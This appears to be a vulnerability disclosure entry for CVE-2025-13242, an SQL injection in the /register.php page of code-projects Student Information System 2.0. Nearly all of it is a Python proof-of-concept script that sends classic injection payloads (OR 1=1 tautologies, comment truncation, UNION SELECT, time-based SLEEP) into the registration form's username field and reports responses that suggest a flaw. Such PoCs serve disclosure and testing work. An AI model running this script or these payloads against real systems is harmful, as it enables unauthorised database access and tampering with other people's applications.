CVE-2025-13242 code-projects Student Information System 2.0 /register.php SQL注入漏洞

import requests import sys # CVE-2025-13242 SQL Injection PoC # Target: Student Information System 2.0 /register.php target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com/register.php' # SQL Injection payloads for testing payloads = [ "admin' OR '1'='1", "' OR 1=1--", "admin'--", "' UNION SELECT NULL--", "' AND SLEEP(5)--" ] def test_sql_injection(url, payload): data = { 'username': payload, 'email': '[email protected]', 'password': 'test123', 'submit': 'Register' } try: response = requests.post(url, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None if __name__ == '__main__': print(f"Testing SQL injection on {target_url}") for payload in payloads: print(f"Testing payload: {payload}") resp = test_sql_injection(target_url, payload) if resp and ('error' in resp.text.lower() or 'sql' in resp.text.lower()): print(f"Potential vulnerability detected with payload: {payload}")